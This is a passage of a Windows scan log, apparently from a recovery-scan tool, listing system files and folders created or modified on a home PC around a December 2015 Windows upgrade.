2015-12-18 14:48 - 2015-12-18 14:48 - 00286720 _____ (Microsoft Corporation) C:\WINDOWS\system32\deviceaccess.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00286208 _____ (Microsoft Corporation) C:\WINDOWS\system32\provhandlers.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00275456 _____ (Microsoft Corporation) C:\WINDOWS\system32\AudioEndpointBuilder.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00270848 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MSFlacDecoder.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00269824 _____ (Microsoft Corporation) C:\WINDOWS\system32\moshostcore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00264544 _____ (Microsoft Corporation) C:\WINDOWS\system32\ContentDeliveryManager.Utilities.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00264192 _____ (Nokia) C:\WINDOWS\system32\NmaDirect.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00248832 _____ (Microsoft Corporation) C:\WINDOWS\system32\UserMgrProxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00245848 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfps.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00245760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TextInputFramework.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00241664 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\cryptngc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00231936 _____ (Microsoft Corporation) C:\WINDOWS\system32\KnobsCore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00227840 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\deviceaccess.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00223232 _____ (Microsoft Corporation) C:\WINDOWS\system32\fveapibase.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00220672 _____ (Microsoft Corporation) C:\WINDOWS\system32\ie4uinit.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00210432 _____ (Microsoft Corporation) C:\WINDOWS\system32\wcmcsp.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00205824 _____ (Nokia) C:\WINDOWS\SysWOW64\NmaDirect.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00204800 _____ (Microsoft Corporation) C:\WINDOWS\system32\Microsoft-Windows-AppModelExecEvents.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00203776 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupSvc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00199168 _____ (Microsoft Corporation) C:\WINDOWS\system32\InstallAgent.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00192000 _____ (Microsoft Corporation) C:\WINDOWS\system32\provisioningcsp.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00182784 _____ (Microsoft Corporation) C:\WINDOWS\system32\shutdownux.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00175616 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Core.TextInput.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00168960 _____ (Microsoft Corporation) C:\WINDOWS\system32\mdmmigrator.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00166912 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UserMgrProxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00165376 _____ (Microsoft Corporation) C:\WINDOWS\system32\provdatastore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00163328 _____ (Microsoft Corporation) C:\WINDOWS\system32\provops.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00162304 _____ (Microsoft Corporation) C:\WINDOWS\system32\tetheringservice.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00162304 _____ (Microsoft Corporation) C:\WINDOWS\system32\DeviceCensus.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00161632 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ksecpkg.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00161280 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InstallAgent.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00160768 _____ (Microsoft Corporation) C:\WINDOWS\system32\enrollmentapi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00157184 _____ (Microsoft Corporation) C:\WINDOWS\system32\dmcertinst.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00147968 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\rmcast.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00138240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ETWCoreUIComponentsResources.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00138240 _____ (Microsoft Corporation) C:\WINDOWS\system32\ETWCoreUIComponentsResources.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00134656 _____ (Microsoft Corporation) C:\WINDOWS\system32\wificonnapi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00133632 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Core.TextInput.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00133120 _____ (Microsoft Corporation) C:\WINDOWS\system32\flvprophandler.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00126464 _____ (Microsoft Corporation) C:\WINDOWS\system32\dialserver.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00122368 _____ (Microsoft Corporation) C:\WINDOWS\system32\KnobsCsp.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00119808 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapsBtSvc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00118624 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tdx.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00118272 _____ (Microsoft Corporation) C:\WINDOWS\system32\fontsub.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00117248 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\capimg.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00116720 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfps.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00115200 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32k.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00115040 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupApi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00114688 _____ (Microsoft Corporation) C:\WINDOWS\system32\offlinelsa.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00110592 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Microsoft-Windows-MapControls.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00110592 _____ (Microsoft Corporation) C:\WINDOWS\system32\Microsoft-Windows-MapControls.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00110032 _____ (Microsoft Corporation) C:\WINDOWS\system32\EncDump.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00108544 _____ (Microsoft Corporation) C:\WINDOWS\system32\InputLocaleManager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00100864 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\offlinelsa.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00095072 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sdstor.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00093696 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\fontsub.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00092352 _____ (Microsoft Corporation) C:\WINDOWS\system32\acmigration.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00092160 _____ (Microsoft Corporation) C:\WINDOWS\system32\SensorsNativeApi.V2.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00092160 _____ (Microsoft Corporation) C:\WINDOWS\system32\policymanagerprecheck.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00089600 _____ (Microsoft Corporation) C:\WINDOWS\system32\NFCProvisioningPlugin.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00089088 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapsCSP.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00088392 _____ (Microsoft Corporation) C:\WINDOWS\system32\remoteaudioendpoint.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00087040 _____ (Microsoft Corporation) C:\WINDOWS\system32\tzautoupdate.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00086528 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MapsBtSvc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00086528 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppCapture.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00084832 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NetSetupApi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00083456 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InputLocaleManager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00080600 _____ (Microsoft Corporation) C:\WINDOWS\system32\wwapi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00078336 _____ (Microsoft Corporation) C:\WINDOWS\system32\BarcodeProvisioningPlugin.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00077312 _____ (Microsoft Corporation) C:\WINDOWS\system32\ProvPluginEng.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00075776 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Networking.XboxLive.ProxyStub.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00075264 _____ (Microsoft Corporation) C:\WINDOWS\system32\wwanprotdim.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00075264 _____ (Microsoft Corporation) C:\WINDOWS\system32\EditBufferTestHook.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00074240 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssign32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00073728 _____ (Microsoft Corporation) C:\WINDOWS\system32\wwancfg.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00073360 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\remoteaudioendpoint.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00072704 _____ (Microsoft Corporation) C:\WINDOWS\system32\MosStorage.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00070656 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AppCapture.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00070656 _____ (Microsoft Corporation) C:\WINDOWS\system32\XblAuthManagerProxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00069632 _____ (Microsoft Corporation) C:\WINDOWS\system32\wininetlui.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00066560 _____ (Microsoft Corporation) C:\WINDOWS\system32\moshost.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00066560 _____ (Microsoft Corporation) C:\WINDOWS\system32\iesetup.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00065536 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wininetlui.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00064000 _____ (Microsoft Corporation) C:\WINDOWS\system32\MosHostClient.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00064000 _____ (Microsoft Corporation) C:\WINDOWS\system32\ihvrilproxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00063528 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wwapi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00060928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mssign32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00060928 _____ (Microsoft Corporation) C:\WINDOWS\system32\XblAuthTokenBrokerExt.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00059904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\EditBufferTestHook.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00058408 _____ (Microsoft Corporation) C:\WINDOWS\system32\SensorsNativeApi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00058368 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MosStorage.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00058368 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MosResource.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00058368 _____ (Microsoft Corporation) C:\WINDOWS\system32\MosResource.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00056320 _____ (Microsoft Corporation) C:\WINDOWS\system32\provtool.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00055808 _____ (Microsoft Corporation) C:\WINDOWS\system32\rilproxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00052736 _____ (Microsoft Corporation) C:\WINDOWS\system32\tetheringclient.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00052736 _____ (Microsoft Corporation) C:\WINDOWS\system32\RemovableMediaProvisioningPlugin.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00052224 _____ (Microsoft Corporation) C:\WINDOWS\system32\Wwanpref.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00052224 _____ (Microsoft Corporation) C:\WINDOWS\system32\jsproxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00051680 _____ (Microsoft Corporation) C:\WINDOWS\system32\SensorsUtilsV2.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00049152 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\XblAuthTokenBrokerExt.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00048640 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MosHostClient.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00045568 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jsproxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00045568 _____ (Adobe Systems) C:\WINDOWS\system32\atmlib.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00044032 _____ (Microsoft Corporation) C:\WINDOWS\system32\wsplib.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00043520 _____ (Microsoft Corporation) C:\WINDOWS\system32\bcastdvr.proxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00042496 _____ (Microsoft Corporation) C:\WINDOWS\system32\mapstoasttask.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00041984 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\XblAuthManagerProxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00037376 _____ (Microsoft Corporation) C:\WINDOWS\system32\LaunchWinApp.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00037376 _____ (Adobe Systems) C:\WINDOWS\SysWOW64\atmlib.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00036864 _____ (Microsoft Corporation) C:\WINDOWS\system32\BackgroundTransferHost.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00036352 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UIAutomationCoreRes.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00036352 _____ (Microsoft Corporation) C:\WINDOWS\system32\UIAutomationCoreRes.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00035680 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\wimmount.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00035656 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfpmp.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00034304 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\BackgroundTransferHost.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00034304 _____ (Microsoft Corporation) C:\WINDOWS\system32\iernonce.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00032256 _____ (Microsoft Corporation) C:\WINDOWS\system32\wups2.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00032040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfpmp.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00030720 _____ (Microsoft Corporation) C:\WINDOWS\system32\tetheringconfigsp.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00030208 _____ (Microsoft Corporation) C:\WINDOWS\system32\StorageUsage.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00029696 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\LaunchWinApp.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00028672 _____ (Microsoft Corporation) C:\WINDOWS\system32\WordBreakers.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00028672 _____ (Microsoft Corporation) C:\WINDOWS\system32\mapsupdatetask.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00028160 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Management.Provisioning.ProxyStub.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00028160 _____ (Microsoft Corporation) C:\WINDOWS\system32\nativemap.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00027136 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\bcastdvr.proxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00026408 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuauclt.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00024064 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WordBreakers.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00018944 _____ (Microsoft Corporation) C:\WINDOWS\system32\wshrm.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00017408 _____ (Microsoft Corporation) C:\WINDOWS\system32\IcsEntitlementHost.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00014336 _____ (Microsoft Corporation) C:\WINDOWS\system32\dciman32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00013312 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapsBtSvcProxy.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00011776 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dciman32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00010240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Microsoft-Windows-MosTrace.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00010240 _____ (Microsoft Corporation) C:\WINDOWS\system32\Microsoft-Windows-MosTrace.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00009728 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Microsoft-Windows-MosHost.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00009728 _____ (Microsoft Corporation) C:\WINDOWS\system32\Microsoft-Windows-MosHost.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00007680 _____ (Microsoft Corporation) C:\WINDOWS\system32\readingviewresources.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00003072 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MapControlStringsRes.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00003072 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\lpk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00003072 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapControlStringsRes.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00003072 _____ (Microsoft Corporation) C:\WINDOWS\system32\lpk.dll
2015-12-18 14:46 - 2015-12-18 14:47 - 00002407 _____ C:\Users\Larry\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2015-12-18 14:41 - 2015-12-18 14:41 - 00008192 _____ C:\WINDOWS\system32\config\userdiff
2015-12-18 14:41 - 2015-12-18 14:41 - 00000000 ____D C:\ProgramData\Microsoft OneDrive
2015-12-18 14:39 - 2015-12-18 14:39 - 00000000 ____D C:\Users\Larry\AppData\Local\Publishers
2015-12-18 14:37 - 2015-12-18 14:37 - 00000000 ____D C:\Users\Larry\AppData\Local\ActiveSync
2015-12-18 14:36 - 2015-12-18 14:36 - 00000000 ____D C:\Users\Larry\AppData\Local\Comms
2015-12-18 14:35 - 2015-12-18 14:35 - 00000020 ___SH C:\Users\Larry\ntuser.ini
2015-12-18 14:35 - 2015-12-18 14:35 - 00000000 ____D C:\Users\Larry\AppData\Local\TileDataLayer
2015-12-18 14:32 - 2015-12-18 14:32 - 00000000 ____D C:\Program Files\Reference Assemblies
2015-12-18 14:32 - 2015-12-18 14:32 - 00000000 ____D C:\Program Files\MSBuild
2015-12-18 14:32 - 2015-12-18 14:32 - 00000000 ____D C:\Program Files (x86)\Reference Assemblies
2015-12-18 14:32 - 2015-12-18 14:32 - 00000000 ____D C:\Program Files (x86)\MSBuild
2015-12-18 14:32 - 2015-12-18 14:32 - 00000000 ____D C:\inetpub
2015-12-18 14:31 - 2015-10-23 19:47 - 00778936 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PresentationNative_v0300.dll
2015-12-18 14:31 - 2015-10-23 19:47 - 00103120 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PresentationCFFRasterizerNative_v0300.dll
2015-12-18 14:31 - 2015-10-23 19:47 - 00035480 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TsWpfWrp.exe
2015-12-18 14:31 - 2015-10-23 19:46 - 01166520 _____ (Microsoft Corporation) C:\WINDOWS\system32\PresentationNative_v0300.dll
2015-12-18 14:31 - 2015-10-23 19:46 - 00035480 _____ (Microsoft Corporation) C:\WINDOWS\system32\TsWpfWrp.exe
2015-12-18 14:31 - 2015-10-23 19:45 - 00124624 _____ (Microsoft Corporation) C:\WINDOWS\system32\PresentationCFFRasterizerNative_v0300.dll
2015-12-18 13:47 - 2015-12-18 13:47 - 00000000 _SHDL C:\Users\Default\My Documents
2015-12-18 13:47 - 2015-12-18 13:47 - 00000000 _SHDL C:\Users\Default\Documents\My Videos
2015-12-18 13:47 - 2015-12-18 13:47 - 00000000 _SHDL C:\Users\Default\Documents\My Pictures
2015-12-18 13:47 - 2015-12-18 13:47 - 00000000 _SHDL C:\Users\Default\Documents\My Music
2015-12-18 13:47 - 2015-12-18 13:47 - 00000000 _SHDL C:\Users\Default User\Documents\My Videos
2015-12-18 13:47 - 2015-12-18 13:47 - 00000000 _SHDL C:\Users\Default User\Documents\My Pictures
2015-12-18 13:47 - 2015-12-18 13:47 - 00000000 _SHDL C:\Users\Default User\Documents\My Music
2015-12-18 13:47 - 2015-12-18 13:47 - 00000000 ____D C:\ProgramData\USOShared
2015-12-18 13:42 - 2015-12-31 18:54 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT
2015-12-18 13:27 - 2015-12-18 13:27 - 00000000 ____D C:\Users\Default\Documents\hp.system.package.metadata
2015-12-18 13:27 - 2015-12-18 13:27 - 00000000 ____D C:\Users\Default\Documents\hp.applications.package.appdata
2015-12-18 13:27 - 2015-12-18 13:27 - 00000000 ____D C:\Users\Default\AppData\Roaming\Garmin
2015-12-18 13:27 - 2015-12-18 13:27 - 00000000 ____D C:\Users\Default\AppData\Local\Garmin_Ltd._or_its_subsid
2015-12-18 13:27 - 2015-12-18 13:27 - 00000000 ____D C:\Users\Default User\Documents\hp.system.package.metadata
2015-12-18 13:27 - 2015-12-18 13:27 - 00000000 ____D C:\Users\Default User\Documents\hp.applications.package.appdata
2015-12-18 13:27 - 2015-12-18 13:27 - 00000000 ____D C:\Users\Default User\AppData\Roaming\Garmin
2015-12-18 13:27 - 2015-12-18 13:27 - 00000000 ____D C:\Users\Default User\AppData\Local\Garmin_Ltd._or_its_subsid
2015-12-18 13:26 - 2015-12-18 13:26 - 00001519 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk
2015-12-18 13:13 - 2015-12-18 13:13 - 00000000 ____D C:\WINDOWS\system32\config\bbimigrate
2015-12-18 13:11 - 2015-12-31 16:19 - 00000000 ____D C:\Users\Larry
2015-12-18 13:11 - 2015-12-18 13:34 - 00000000 ____D C:\Users\Guest
2015-12-18 13:11 - 2015-12-18 13:11 - 00000000 _SHDL C:\Users\Larry\My Documents
2015-12-18 13:11 - 2015-12-18 13:11 - 00000000 _SHDL C:\Users\Larry\Documents\My Videos
2015-12-18 13:11 - 2015-12-18 13:11 - 00000000 _SHDL C:\Users\Larry\Documents\My Pictures
2015-12-18 13:11 - 2015-12-18 13:11 - 00000000 _SHDL C:\Users\Larry\Documents\My Music
2015-12-18 13:11 - 2015-12-18 13:11 - 00000000 _SHDL C:\Users\Guest\My Documents
2015-12-18 13:11 - 2015-12-18 13:11 - 00000000 _SHDL C:\Users\Guest\Documents\My Videos
2015-12-18 13:11 - 2015-12-18 13:11 - 00000000 _SHDL C:\Users\Guest\Documents\My Pictures
2015-12-18 13:11 - 2015-12-18 13:11 - 00000000 _SHDL C:\Users\Guest\Documents\My Music
2015-12-18 13:08 - 2015-12-31 19:03 - 00972168 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2015-12-18 13:07 - 2015-12-18 13:07 - 00929278 _____ C:\WINDOWS\SysWOW64\PerfStringBackup.INI
2015-12-18 13:04 - 2015-12-18 13:04 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AMD Catalyst Control Center
2015-12-18 13:04 - 2015-12-18 13:04 - 00000000 ____D C:\ProgramData\AMD
2015-12-18 13:04 - 2015-12-18 13:04 - 00000000 ____D C:\Program Files\ATI Technologies
2015-12-18 13:03 - 2015-12-18 13:14 - 00000000 ____D C:\ProgramData\Package Cache
2015-12-18 13:03 - 2015-12-18 13:04 - 00000000 ____D C:\Program Files (x86)\ATI Technologies
2015-12-18 13:03 - 2015-12-18 13:03 - 00000000 ____D C:\WINDOWS\SysWOW64\sda
2015-12-18 13:02 - 2015-12-18 13:02 - 00000000 ____D C:\WINDOWS\SysWOW64\RTCOM
2015-12-18 13:02 - 2015-12-18 13:02 - 00000000 ____D C:\Program Files\Realtek
2015-12-18 13:02 - 2015-12-18 13:02 - 00000000 ____D C:\Program Files\AMD
2015-12-18 13:02 - 2015-12-18 13:02 - 00000000 _____ C:\WINDOWS\ativpsrm.bin
2015-12-18 13:02 - 2015-10-30 01:17 - 02718208 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PrintConfig.dll
2015-12-18 12:58 - 2015-12-18 13:30 - 00236616 _____ C:\WINDOWS\system32\FNTCACHE.DAT
 
==================== One Month Modified files and folders ========
 
(If an entry is included in the fixlist, the file/folder will be moved.)
 
2016-01-01 16:50 - 2015-10-30 00:28 - 00000000 ____D C:\Windows
2016-01-01 16:48 - 2015-08-04 15:48 - 00000949 _____ C:\WINDOWS\Tasks\EPSON XP-420 Series Update {6D00888C-0608-43CF-AF00-DC39583DA544}.job
2016-01-01 16:45 - 2014-06-23 18:33 - 00192216 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MBAMSwissArmy.sys
2016-01-01 16:40 - 2014-04-24 19:21 - 00004164 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{6BE8AF0A-68EE-4362-B97D-F12158849659}
2016-01-01 15:33 - 2014-04-24 19:26 - 00000936 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job
2016-01-01 10:12 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\AppReadiness
2015-12-31 19:03 - 2015-10-30 01:21 - 00000000 ____D C:\WINDOWS\INF
2015-12-31 18:58 - 2012-08-31 22:56 - 00000000 ____D C:\ProgramData\Hewlett-Packard
2015-12-31 18:53 - 2015-10-30 00:28 - 00524288 ___SH C:\WINDOWS\system32\config\BBI
2015-12-31 16:18 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\SysWOW64\GroupPolicy
2015-12-31 16:18 - 2013-08-22 09:36 - 00000000 ___HD C:\WINDOWS\system32\GroupPolicy
2015-12-31 07:41 - 2015-10-30 01:24 - 00000000 ___HD C:\Program Files\WindowsApps
2015-12-30 21:40 - 2014-04-25 06:50 - 00000000 ____D C:\Users\Larry\Documents\Youcam
2015-12-30 11:15 - 2015-10-30 01:11 - 00000000 ____D C:\WINDOWS\CbsTemp
2015-12-29 07:25 - 2015-06-06 12:05 - 00003254 _____ C:\WINDOWS\System32\Tasks\HPCeeScheduleForLarry
2015-12-29 07:25 - 2015-06-06 12:05 - 00000362 _____ C:\WINDOWS\Tasks\HPCeeScheduleForLarry.job
2015-12-27 15:10 - 2015-10-30 01:26 - 00826872 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerApp.exe
2015-12-27 15:10 - 2015-10-30 01:26 - 00176632 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerCPLApp.cpl
2015-12-24 20:58 - 2014-06-06 07:58 - 00003326 _____ C:\WINDOWS\System32\Tasks\HPCeeScheduleForLARRYSCOMPUTER$
2015-12-24 20:58 - 2014-06-06 07:58 - 00000392 _____ C:\WINDOWS\Tasks\HPCeeScheduleForLARRYSCOMPUTER$.job
2015-12-21 07:25 - 2014-04-25 06:33 - 00000000 ____D C:\Users\Larry\AppData\Local\Hewlett-Packard
2015-12-19 08:16 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\appcompat
2015-12-18 15:52 - 2014-04-24 19:16 - 00000000 ____D C:\Users\Larry\AppData\Local\Packages
